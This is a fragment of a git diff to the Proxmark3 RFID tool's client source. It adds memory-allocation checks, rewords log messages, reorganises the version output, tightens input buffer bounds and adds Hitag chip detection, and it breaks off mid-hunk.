PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } } else { while (old->next != NULL) { old = old->next; } new = old->next = (dynamic_lock_area_t *) calloc(sizeof(dynamic_lock_area_t), sizeof(uint8_t)); + if (new == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } } new->next = NULL; @@ -837,8 +846,8 @@ static int CmdHFTopazSniff(const char *Cmd) { PacketResponseNG resp; WaitForResponse(CMD_HF_ISO14443A_SNIFF, &resp); PrintAndLogEx(INFO, "Done!"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf topaz list")"` to view captured tracelog"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf topaz list")"` to view captured tracelog"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); return PM3_SUCCESS; } @@ -1052,7 +1061,7 @@ static int CmdHFTopazWrBl(const char *Cmd) { if (res == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); - PrintAndLogEx(HINT, "try `" _YELLOW_("hf topaz rdbl --blk %u") "` to verify", blockno); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf topaz rdbl --blk %u") "` to verify", blockno); } else { PrintAndLogEx(WARNING, "Write ( " _RED_("fail") " )"); @@ -1171,7 +1180,7 @@ int readTopazUid(bool loop, bool verbose) { topaz_tag.HR01[0] = rid_response[0]; topaz_tag.HR01[1] = rid_response[1]; - } while (loop && kbd_enter_pressed() == false); + } while (loop && (kbd_enter_pressed() == false)); topaz_switch_off_field(); return res; diff --git a/client/src/cmdhfvas.c b/client/src/cmdhfvas.c index 195a4ef76..9ce6e70e4 100644 --- a/client/src/cmdhfvas.c +++ b/client/src/cmdhfvas.c @@ -114,6 +114,10 @@ static int CreateGetVASDataCommand(const uint8_t *pidHash, const char *url, size size_t reqTlvLen = 19 + (pidHash != NULL ? 35 : 0) + (url != NULL ? 3 + urlLen : 0); uint8_t *reqTlv = calloc(reqTlvLen, sizeof(uint8_t)); + if (reqTlv == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } uint8_t version[] = {0x9F, 0x22, 0x02, 0x01, 0x00}; memcpy(reqTlv, version, sizeof(version)); diff --git a/client/src/cmdhfxerox.c b/client/src/cmdhfxerox.c index 911569499..713b7f616 100644 --- a/client/src/cmdhfxerox.c +++ b/client/src/cmdhfxerox.c @@ -593,7 +593,7 @@ int read_xerox_uid(bool loop, bool verbose) { return PM3_ESOFT; } - } while (loop && kbd_enter_pressed() == false); + } while (loop && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -635,7 +635,7 @@ static int read_xerox_block(iso14b_card_select_t *card, uint8_t blockno, uint8_t uint8_t approx_len = (2 + card->uidlen + 1); iso14b_raw_cmd_t *packet = (iso14b_raw_cmd_t *)calloc(1, sizeof(iso14b_raw_cmd_t) + approx_len); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1013,8 +1013,8 @@ static int CmdHFXeroxRdBl(const char *Cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"list", CmdHFXeroxList, AlwaysAvailable, "List ISO-14443B history"}, - {"--------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("General") " -----------------------"}, - {"info", CmdHFXeroxInfo, IfPm3Iso14443b, "Short info on Fuji/Xerox tag"}, + {"--------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("Operations") " -----------------------"}, + {"info", CmdHFXeroxInfo, IfPm3Iso14443b, "Tag information"}, {"dump", CmdHFXeroxDump, IfPm3Iso14443b, "Read all memory pages of an Fuji/Xerox tag, save to file"}, {"reader", CmdHFXeroxReader, IfPm3Iso14443b, "Act like a Fuji/Xerox reader"}, {"view", CmdHFXeroxView, AlwaysAvailable, "Display content from tag dump file"}, diff --git a/client/src/cmdhw.c b/client/src/cmdhw.c index c1007a86a..047cf387f 100644 --- a/client/src/cmdhw.c +++ b/client/src/cmdhw.c @@ -22,6 +22,10 @@ #include #include +#ifdef HAVE_PYTHON +#include +#endif + #include "cmdparser.h" // command_t #include "cliparser.h" #include "comms.h" @@ -41,6 +45,8 @@ #include "proxgui.h" #include "graph.h" // for graph data +#include "lua.h" + static int CmdHelp(const char *Cmd); static void lookup_chipid_short(uint32_t iChipID, uint32_t mem_used) { @@ -145,8 +151,6 @@ static void lookup_chipid_short(uint32_t iChipID, uint32_t mem_used) { , mem_avail , mem_avail == 0 ? 0.0f : (float)mem_used / (mem_avail * 1024) * 100 ); - - PrintAndLogEx(NORMAL, ""); } static void lookupChipID(uint32_t iChipID, uint32_t mem_used) { @@ -683,8 +687,8 @@ static int CmdReadmem(const char *Cmd) { CLIParserFree(ctx); uint8_t *buffer = calloc(len, sizeof(uint8_t)); - if (!buffer) { - PrintAndLogEx(ERR, "error, cannot allocate memory "); + if (buffer == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -924,15 +928,19 @@ static int CmdTune(const char *Cmd) { SendCommandNG(CMD_MEASURE_ANTENNA_TUNING, NULL, 0); PacketResponseNG resp; PrintAndLogEx(INPLACE, "% 3i", timeout_max - timeout); - while (!WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING, &resp, 500)) { + + while (WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING, &resp, 500) == false) { + fflush(stdout); if (timeout >= timeout_max) { PrintAndLogEx(WARNING, "\nNo response from Proxmark3. Aborting..."); return PM3_ETIMEOUT; } + timeout++; PrintAndLogEx(INPLACE, "% 3i", timeout_max - timeout); } + PrintAndLogEx(NORMAL, ""); if (resp.status != PM3_SUCCESS) { @@ -1352,7 +1360,7 @@ static int CmdConnect(const char *Cmd) { void *argtable[] = { arg_param_begin, - arg_str0("p", "port", NULL, "Serial port to connect to, else retry the last used one"), + arg_str0("p", "port", "", "Serial port to connect to, else retry the last used one"), arg_u64_0("b", "baud", "", "Baudrate"), arg_param_end }; @@ -1440,7 +1448,7 @@ int set_fpga_mode(uint8_t mode) { SendCommandNG(CMD_SET_FPGAMODE, d, sizeof(d)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_SET_FPGAMODE, &resp, 1000) == false) { - PrintAndLogEx(WARNING, "command execution timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } if (resp.status != PM3_SUCCESS) { @@ -1542,7 +1550,8 @@ int CmdHW(const char *Cmd) { #endif void pm3_version_short(void) { - PrintAndLogEx(NORMAL, " [ " _CYAN_("Proxmark3 RFID instrument") " ]"); +// PrintAndLogEx(NORMAL, " [ " _CYAN_("Proxmark3 RFID instrument") " ]"); + PrintAndLogEx(NORMAL, " [ " _CYAN_("Proxmark3") " ]"); PrintAndLogEx(NORMAL, ""); if (g_session.pm3_present) { @@ -1564,43 +1573,6 @@ void pm3_version_short(void) { lookup_chipid_short(payload->id, payload->section_size); - // client - char temp[PM3_CMD_DATA_SIZE - 12]; // same limit as for ARM image - format_version_information_short(temp, sizeof(temp), &g_version_information); - PrintAndLogEx(NORMAL, " Client.... %s", temp); - - bool armsrc_mismatch = false; - char *ptr = strstr(payload->versionstr, " os: "); - if (ptr != NULL) { - ptr = strstr(ptr, "\n"); - if ((ptr != NULL) && (strlen(g_version_information.armsrc) == 9)) { - if (strncmp(ptr - 9, g_version_information.armsrc, 9) != 0) { - armsrc_mismatch = true; - } - } - } - - // bootrom - ptr = strstr(payload->versionstr, " bootrom: "); - if (ptr != NULL) { - char *ptr_end = strstr(ptr, "\n"); - if (ptr_end != NULL) { - uint8_t len = ptr_end - 19 - ptr; - PrintAndLogEx(NORMAL, " Bootrom... %.*s", len, ptr + 10); - } - } - - // os: - ptr = strstr(payload->versionstr, " os: "); - if (ptr != NULL) { - char *ptr_end = strstr(ptr, "\n"); - if (ptr_end != NULL) { - uint8_t len = ptr_end - 14 - ptr; - PrintAndLogEx(NORMAL, " OS........ %.*s", len, ptr + 5); - } - } - - if (IfPm3Rdv4Fw()) { bool is_genuine_rdv4 = false; @@ -1616,7 +1588,43 @@ void pm3_version_short(void) { } else { PrintAndLogEx(NORMAL, " Target.... %s", _YELLOW_("PM3 GENERIC")); } + PrintAndLogEx(NORMAL, ""); + // client + char temp[PM3_CMD_DATA_SIZE - 12]; // same limit as for ARM image + format_version_information_short(temp, sizeof(temp), &g_version_information); + PrintAndLogEx(NORMAL, " Client.... %s", temp); + + bool armsrc_mismatch = false; + char *ptr = strstr(payload->versionstr, "OS......... "); + if (ptr != NULL) { + ptr = strstr(ptr, "\n"); + if ((ptr != NULL) && (strlen(g_version_information.armsrc) == 9)) { + if (strncmp(ptr - 9, g_version_information.armsrc, 9) != 0) { + armsrc_mismatch = true; + } + } + } + + // bootrom + ptr = strstr(payload->versionstr, "Bootrom.... "); + if (ptr != NULL) { + char *ptr_end = strstr(ptr, "\n"); + if (ptr_end != NULL) { + uint8_t len = ptr_end - 12 - ptr; + PrintAndLogEx(NORMAL, " Bootrom... %.*s", len, ptr + 12); + } + } + + // os: + ptr = strstr(payload->versionstr, "OS......... "); + if (ptr != NULL) { + char *ptr_end = strstr(ptr, "\n"); + if (ptr_end != NULL) { + uint8_t len = ptr_end - 12 - ptr; + PrintAndLogEx(NORMAL, " OS........ %.*s", len, ptr + 12); + } + } PrintAndLogEx(NORMAL, ""); if (armsrc_mismatch) { @@ -1636,19 +1644,20 @@ void pm3_version(bool verbose, bool oneliner) { if (oneliner) { // For "proxmark3 -v", simple printf, avoid logging FormatVersionInformation(temp, sizeof(temp), "Client: ", &g_version_information); - PrintAndLogEx(NORMAL, "%s compiled with " PM3CLIENTCOMPILER __VERSION__ " OS:" PM3HOSTOS " ARCH:" PM3HOSTARCH "\n", temp); + PrintAndLogEx(NORMAL, "%s compiler: " PM3CLIENTCOMPILER __VERSION__ " OS:" PM3HOSTOS " ARCH:" PM3HOSTARCH "\n", temp); return; } - if (!verbose) + if (!verbose) { return; + } - PrintAndLogEx(NORMAL, "\n [ " _YELLOW_("Proxmark3 RFID instrument") " ]"); + PrintAndLogEx(NORMAL, "\n [ " _CYAN_("Proxmark3") " ]"); PrintAndLogEx(NORMAL, "\n [ " _YELLOW_("Client") " ]"); FormatVersionInformation(temp, sizeof(temp), " ", &g_version_information); PrintAndLogEx(NORMAL, "%s", temp); - PrintAndLogEx(NORMAL, " compiled with............. " PM3CLIENTCOMPILER __VERSION__); - PrintAndLogEx(NORMAL, " platform.................. " PM3HOSTOS " / " PM3HOSTARCH); + PrintAndLogEx(NORMAL, " Compiler.................. " PM3CLIENTCOMPILER __VERSION__); + PrintAndLogEx(NORMAL, " Platform.................. " PM3HOSTOS " / " PM3HOSTARCH); #if defined(HAVE_READLINE) PrintAndLogEx(NORMAL, " Readline support.......... " _GREEN_("present")); #elif defined(HAVE_LINENOISE) @@ -1662,28 +1671,29 @@ void pm3_version(bool verbose, bool oneliner) { PrintAndLogEx(NORMAL, " QT GUI support............ " _YELLOW_("absent")); #endif #ifdef HAVE_BLUEZ - PrintAndLogEx(NORMAL, " native BT support......... " _GREEN_("present")); + PrintAndLogEx(NORMAL, " Native BT support......... " _GREEN_("present")); #else - PrintAndLogEx(NORMAL, " native BT support......... " _YELLOW_("absent")); + PrintAndLogEx(NORMAL, " Native BT support......... " _YELLOW_("absent")); #endif #ifdef HAVE_PYTHON - PrintAndLogEx(NORMAL, " Python script support..... " _GREEN_("present")); + PrintAndLogEx(NORMAL, " Python script support..... " _GREEN_("present") " ( " _YELLOW_(PY_VERSION) " )"); #else PrintAndLogEx(NORMAL, " Python script support..... " _YELLOW_("absent")); #endif -#ifdef HAVE_LUA_SWIG - PrintAndLogEx(NORMAL, " Lua SWIG support.......... " _GREEN_("present")); -#else - PrintAndLogEx(NORMAL, " Lua SWIG support.......... " _YELLOW_("absent")); -#endif #ifdef HAVE_PYTHON_SWIG PrintAndLogEx(NORMAL, " Python SWIG support....... " _GREEN_("present")); #else PrintAndLogEx(NORMAL, " Python SWIG support....... " _YELLOW_("absent")); #endif + PrintAndLogEx(NORMAL, " Lua script support........ " _GREEN_("present") " ( " _YELLOW_("%s.%s.%s") " )", LUA_VERSION_MAJOR, LUA_VERSION_MINOR, LUA_VERSION_RELEASE); +#ifdef HAVE_LUA_SWIG + PrintAndLogEx(NORMAL, " Lua SWIG support.......... " _GREEN_("present")); +#else + PrintAndLogEx(NORMAL, " Lua SWIG support.......... " _YELLOW_("absent")); +#endif if (g_session.pm3_present) { - PrintAndLogEx(NORMAL, "\n [ " _YELLOW_("Proxmark3") " ]"); + PrintAndLogEx(NORMAL, "\n [ " _YELLOW_("Model") " ]"); PacketResponseNG resp; clearCommandBuffer(); @@ -1701,15 +1711,15 @@ void pm3_version(bool verbose, bool oneliner) { } } - PrintAndLogEx(NORMAL, " device.................... %s", (is_genuine_rdv4) ? _GREEN_("RDV4") : _RED_("device / fw mismatch")); - PrintAndLogEx(NORMAL, " firmware.................. %s", (is_genuine_rdv4) ? _GREEN_("RDV4") : _YELLOW_("RDV4")); - PrintAndLogEx(NORMAL, " external flash............ %s", IfPm3Flash() ? _GREEN_("present") : _YELLOW_("absent")); - PrintAndLogEx(NORMAL, " smartcard reader.......... %s", IfPm3Smartcard() ? _GREEN_("present") : _YELLOW_("absent")); + PrintAndLogEx(NORMAL, " Device.................... %s", (is_genuine_rdv4) ? _GREEN_("RDV4") : _RED_("device / fw mismatch")); + PrintAndLogEx(NORMAL, " Firmware.................. %s", (is_genuine_rdv4) ? _GREEN_("RDV4") : _YELLOW_("RDV4")); + PrintAndLogEx(NORMAL, " External flash............ %s", IfPm3Flash() ? _GREEN_("present") : _YELLOW_("absent")); + PrintAndLogEx(NORMAL, " Smartcard reader.......... %s", IfPm3Smartcard() ? _GREEN_("present") : _YELLOW_("absent")); PrintAndLogEx(NORMAL, " FPC USART for BT add-on... %s", IfPm3FpcUsartHost() ? _GREEN_("present") : _YELLOW_("absent")); } else { - PrintAndLogEx(NORMAL, " firmware.................. %s", _YELLOW_("PM3 GENERIC")); + PrintAndLogEx(NORMAL, " Firmware.................. %s", _YELLOW_("PM3 GENERIC")); if (IfPm3Flash()) { - PrintAndLogEx(NORMAL, " external flash............ %s", _GREEN_("present")); + PrintAndLogEx(NORMAL, " External flash............ %s", _GREEN_("present")); } if (IfPm3FpcUsartHost()) { @@ -1733,7 +1743,7 @@ void pm3_version(bool verbose, bool oneliner) { struct p *payload = (struct p *)&resp.data.asBytes; bool armsrc_mismatch = false; - char *ptr = strstr(payload->versionstr, " os: "); + char *ptr = strstr(payload->versionstr, "OS......... "); if (ptr != NULL) { ptr = strstr(ptr, "\n"); if ((ptr != NULL) && (strlen(g_version_information.armsrc) == 9)) { diff --git a/client/src/cmdlf.c b/client/src/cmdlf.c index 38cbb6a6c..b36c1c97b 100644 --- a/client/src/cmdlf.c +++ b/client/src/cmdlf.c @@ -40,6 +40,8 @@ #include "cmdlfem4x70.h" // for em4x70 #include "cmdlfhid.h" // for hid menu #include "cmdlfhitag.h" // for hitag menu +#include "cmdlfhitaghts.h" // for hitag S sub commands +#include "cmdlfhitagu.h" // for hitag µ sub commands #include "cmdlfidteck.h" // for idteck menu #include "cmdlfio.h" // for ioprox menu #include "cmdlfcotag.h" // for COTAG menu @@ -81,7 +83,7 @@ int lfsim_wait_check(uint32_t cmd) { for (;;) { if (kbd_enter_pressed()) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); - PrintAndLogEx(DEBUG, "User aborted"); + PrintAndLogEx(DEBUG, "\naborted via keyboard!"); break; } @@ -176,7 +178,7 @@ static int CmdLFTune(const char *Cmd) { SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_LF, params, sizeof(params)); if (WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING_LF, &resp, 1000) == false) { - PrintAndLogEx(WARNING, "Timeout while waiting for Proxmark LF initialization, aborting"); + PrintAndLogEx(WARNING, "timeout while waiting for Proxmark LF initialization, aborting"); return PM3_ETIMEOUT; } @@ -200,7 +202,7 @@ static int CmdLFTune(const char *Cmd) { SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_LF, params, sizeof(params)); if (WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING_LF, &resp, 1000) == false) { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "Timeout while waiting for Proxmark LF measure, aborting"); + PrintAndLogEx(WARNING, "timeout while waiting for Proxmark LF measure, aborting"); break; } @@ -227,7 +229,7 @@ static int CmdLFTune(const char *Cmd) { params[0] = 3; SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_LF, params, sizeof(params)); if (WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING_LF, &resp, 1000) == false) { - PrintAndLogEx(WARNING, "Timeout while waiting for Proxmark LF shutdown, aborting"); + PrintAndLogEx(WARNING, "timeout while waiting for Proxmark LF shutdown, aborting"); return PM3_ETIMEOUT; } @@ -241,6 +243,8 @@ static int CmdLFTune(const char *Cmd) { return PM3_SUCCESS; } +#define PAYLOAD_HEADER_SIZE (12 + (3 * LF_CMDREAD_MAX_EXTRA_SYMBOLS)) + /* send a LF command before reading */ int CmdLFCommandRead(const char *Cmd) { CLIParserContext *ctx; @@ -274,7 +278,7 @@ int CmdLFCommandRead(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, false); uint32_t delay = arg_get_u32_def(ctx, 1, 0); - char cmd[128] = {0}; + char cmd[PM3_CMD_DATA_SIZE - PAYLOAD_HEADER_SIZE] = {0}; int cmd_len = sizeof(cmd) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 2, (uint8_t *)cmd, &cmd_len); @@ -285,17 +289,18 @@ int CmdLFCommandRead(const char *Cmd) { uint16_t period_1 = arg_get_u32_def(ctx, 4, 0); uint16_t period_0 = arg_get_u32_def(ctx, 5, 0); uint32_t samples = arg_get_u32_def(ctx, 6, 0); + bool verbose = arg_get_lit(ctx, 7); bool keep_field_on = arg_get_lit(ctx, 8); bool add_crc_ht = arg_get_lit(ctx, 9); bool cm = arg_get_lit(ctx, 10); + CLIParserFree(ctx); if (g_session.pm3_present == false) { return PM3_ENOTTY; } -#define PAYLOAD_HEADER_SIZE (12 + (3 * LF_CMDREAD_MAX_EXTRA_SYMBOLS)) struct p { uint32_t delay; uint16_t period_0; @@ -316,15 +321,23 @@ int CmdLFCommandRead(const char *Cmd) { memset(payload.symbol_extra, 0, sizeof(payload.symbol_extra)); memset(payload.period_extra, 0, sizeof(payload.period_extra)); - if (add_crc_ht && (cmd_len <= 120)) { + if (cmd_len > sizeof(payload.data) - 8 * add_crc_ht - 1) { + PrintAndLogEx(ERR, "cmd too long, max length is %zu", sizeof(cmd) - 1); + return PM3_EINVARG; + } + + if (add_crc_ht) { + // Hitag 1, Hitag S, ZX8211 // width=8 poly=0x1d init=0xff refin=false refout=false xorout=0x00 check=0xb4 residue=0x00 name="CRC-8/HITAG" crc_t crc; + crc_init_ref(&crc, 8, 0x1d, 0xff, 0, false, false); + uint8_t data = 0; uint8_t n = 0; - crc_init_ref(&crc, 8, 0x1d, 0xff, 0, false, false); - uint8_t i; - for (i = 0; i < cmd_len; i++) { + + for (int i = 0; i < cmd_len; i++) { + if ((cmd[i] != '0') && (cmd[i] != '1')) { // avoid include 'W0S' in crc crc_init_ref(&crc, 8, 0x1d, 0xff, 0, false, false); @@ -332,18 +345,22 @@ int CmdLFCommandRead(const char *Cmd) { data = 0; continue; } + data <<= 1; data += cmd[i] - '0'; - n += 1; + n++; + if (n == 8) { crc_update2(&crc, data, n); n = 0; data = 0; } } + if (n > 0) { crc_update2(&crc, data, n); } + uint8_t crc_final = crc_finish(&crc); for (int j = 7; j >= 0; j--) { cmd[cmd_len] = ((crc_final >> j) & 1) ? '1' : '0'; @@ -412,30 +429,23 @@ int CmdLFCommandRead(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_MOD_THEN_ACQ_RAW_ADC, (uint8_t *)&payload, PAYLOAD_HEADER_SIZE + cmd_len + 1); - PacketResponseNG resp; // init to ZERO - resp.cmd = 0, - resp.length = 0, - resp.magic = 0, - resp.status = 0, - resp.crc = 0, - resp.ng = false, - resp.oldarg[0] = 0; - resp.oldarg[1] = 0; - resp.oldarg[2] = 0; - memset(resp.data.asBytes, 0, PM3_CMD_DATA_SIZE); + PacketResponseNG resp; + memset(&resp, 0, sizeof(resp)); i = 10; // 20sec wait loop - while (!WaitForResponseTimeout(CMD_LF_MOD_THEN_ACQ_RAW_ADC, &resp, 2000) && i != 0) { + while (WaitForResponseTimeout(CMD_LF_MOD_THEN_ACQ_RAW_ADC, &resp, 2000) == false && i != 0) { if (verbose) { PrintAndLogEx(NORMAL, "." NOLF); } i--; } + if (verbose) { PrintAndLogEx(NORMAL, ""); } + if (resp.status != PM3_SUCCESS) { PrintAndLogEx(WARNING, "command failed."); return PM3_ESOFT; @@ -448,11 +458,11 @@ int CmdLFCommandRead(const char *Cmd) { getSamples(samples, false); ret = PM3_SUCCESS; } else { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } - } while (cm && kbd_enter_pressed() == false); + } while (cm && (kbd_enter_pressed() == false)); return ret; } @@ -466,7 +476,7 @@ int CmdFlexdemod(const char *Cmd) { int *data = calloc(g_GraphTraceLen, sizeof(int)); if (data == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } memcpy(data, g_GraphBuffer, g_GraphTraceLen); @@ -587,7 +597,7 @@ int lf_getconfig(sample_config *config) { SendCommandNG(CMD_LF_SAMPLING_GET_CONFIG, NULL, 0); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_LF_SAMPLING_GET_CONFIG, &resp, 2000)) { + if (WaitForResponseTimeout(CMD_LF_SAMPLING_GET_CONFIG, &resp, 2000) == false) { PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -752,7 +762,7 @@ static int lf_read_internal(bool realtime, bool verbose, uint64_t samples) { if (realtime) { uint8_t *realtimeBuf = calloc(samples, sizeof(uint8_t)); if (realtimeBuf == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -789,10 +799,12 @@ static int lf_read_internal(bool realtime, bool verbose, uint64_t samples) { payload.samples = (samples > MAX_LF_SAMPLES) ? MAX_LF_SAMPLES : samples; SendCommandNG(CMD_LF_ACQ_RAW_ADC, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; + if (is_trigger_threshold_set) { WaitForResponse(CMD_LF_ACQ_RAW_ADC, &resp); } else { - if (!WaitForResponseTimeout(CMD_LF_ACQ_RAW_ADC, &resp, 2500)) { + + if (WaitForResponseTimeout(CMD_LF_ACQ_RAW_ADC, &resp, 2500) == false) { PrintAndLogEx(WARNING, "(lf_read) command execution time out"); return PM3_ETIMEOUT; } @@ -847,7 +859,7 @@ int CmdLFRead(const char *Cmd) { int ret = PM3_SUCCESS; do { ret = lf_read_internal(realtime, verbose, samples); - } while (cm && kbd_enter_pressed() == false); + } while (cm && (kbd_enter_pressed() == false)); if (ret == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Got " _YELLOW_("%zu") " samples", g_GraphTraceLen); @@ -879,7 +891,7 @@ int lf_sniff(bool realtime, bool verbose, uint64_t samples) { if (realtime) { uint8_t *realtimeBuf = calloc(samples, sizeof(uint8_t)); if (realtimeBuf == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -973,7 +985,7 @@ int CmdLFSniff(const char *Cmd) { int ret = PM3_SUCCESS; do { ret = lf_sniff(realtime, verbose, samples); - } while (cm && kbd_enter_pressed() == false); + } while (cm && (kbd_enter_pressed() == false)); return ret; } @@ -1119,9 +1131,10 @@ int CmdLFfskSim(const char *Cmd) { uint8_t fchigh = arg_get_u32_def(ctx, 3, 0); bool separator = arg_get_lit(ctx, 4); - int raw_len = 64; - char raw[64] = {0}; + char raw[65] = {0}; + int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 5, (uint8_t *)raw, &raw_len); + bool verbose = arg_get_lit(ctx, 6); CLIParserFree(ctx); @@ -1229,9 +1242,10 @@ int CmdLFaskSim(const char *Cmd) { bool use_ar = arg_get_lit(ctx, 5); bool separator = arg_get_lit(ctx, 6); - int raw_len = 64; - char raw[64] = {0}; + char raw[65] = {0}; + int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 7, (uint8_t *)raw, &raw_len); + bool verbose = arg_get_lit(ctx, 8); CLIParserFree(ctx); @@ -1331,17 +1345,22 @@ int CmdLFpskSim(const char *Cmd) { arg_lit0("v", "verbose", "verbose output"), arg_param_end }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + bool use_psk1 = arg_get_lit(ctx, 1); bool use_psk2 = arg_get_lit(ctx, 2); bool use_psk3 = arg_get_lit(ctx, 3); bool invert = arg_get_lit(ctx, 4); + uint8_t clk = arg_get_u32_def(ctx, 5, 0); uint8_t carrier = arg_get_u32_def(ctx, 6, 2); - int raw_len = 64; - char raw[64] = {0}; + + char raw[65] = {0}; + int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 7, (uint8_t *)raw, &raw_len); bool verbose = arg_get_lit(ctx, 8); + CLIParserFree(ctx); if ((use_psk1 + use_psk2 + use_psk3) > 1) { @@ -1542,7 +1561,9 @@ static bool check_chiptype(bool getDeviceData) { bool retval = false; - if (!getDeviceData) return retval; + if (getDeviceData == false) { + return retval; + } //Save the state of the Graph and Demod Buffers buffer_savestate_t saveState_gb = save_bufferS32(g_GraphBuffer, g_GraphTraceLen); @@ -1555,7 +1576,7 @@ static bool check_chiptype(bool getDeviceData) { uint32_t word = 0; if (IfPm3EM4x50() && em4x05_isblock0(&word)) { PrintAndLogEx(SUCCESS, "Chipset detection: " _GREEN_("EM4x05 / EM4x69")); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf em 4x05`") " commands"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf em 4x05") "` commands"); retval = true; goto out; } @@ -1563,16 +1584,45 @@ static bool check_chiptype(bool getDeviceData) { //check for t55xx chip... if (tryDetectP1(true)) { PrintAndLogEx(SUCCESS, "Chipset detection: " _GREEN_("T55xx")); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf t55xx`") " commands"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf t55xx") "` commands"); retval = true; goto out; } + + if (IfPm3Hitag()) { + + // Hitag 2 + if (ht2_read_uid() == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "Chipset detection: " _GREEN_("Hitag 2")); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf hitag") "` commands"); + retval = true; + goto out; + } + + // Hitag S + if (read_hts_uid() == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "Chipset detection: " _GREEN_("Hitag 1/S / 82xx")); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf hitag hts") "` commands"); + retval = true; + goto out; + } + + // Hitag µ + if (read_htu_uid() == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "Chipset detection: " _GREEN_("Hitag µ / 8265")); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf hitag htu") "` commands"); + retval = true; + goto out; + } + } + + #if !defined ICOPYX // check for em4x50 chips if (IfPm3EM4x50() && detect_4x50_block()) { PrintAndLogEx(SUCCESS, "Chipset detection: " _GREEN_("EM4x50")); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf em 4x50`") " commands"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf em 4x50") "` commands"); retval = true; goto out; } @@ -1580,7 +1630,7 @@ static bool check_chiptype(bool getDeviceData) { // check for em4x70 chips if (IfPm3EM4x70() && detect_4x70_block()) { PrintAndLogEx(SUCCESS, "Chipset detection: " _GREEN_("EM4x70")); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf em 4x70`") " commands"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf em 4x70") "` commands"); retval = true; goto out; } @@ -1662,8 +1712,9 @@ int CmdLFfind(const char *Cmd) { CLIParserFree(ctx); int found = 0; bool is_online = (g_session.pm3_present && (use_gb == false)); - if (is_online) + if (is_online) { lf_read(false, 30000); + } size_t min_length = 2000; if (g_GraphTraceLen < min_length) { @@ -1681,16 +1732,18 @@ int CmdLFfind(const char *Cmd) { PrintAndLogEx(INFO, _CYAN_("Checking for known tags...")); PrintAndLogEx(INFO, ""); + int retval = PM3_SUCCESS; + // only run these tests if device is online if (is_online) { if (IfPm3Hitag()) { - if (readHitagUid() == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Hitag") " found!"); + if (ht2_read_paxton() == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Paxton ID") " found!"); if (search_cont) { found++; } else { - return PM3_SUCCESS; + goto out; } } } @@ -1734,7 +1787,7 @@ int CmdLFfind(const char 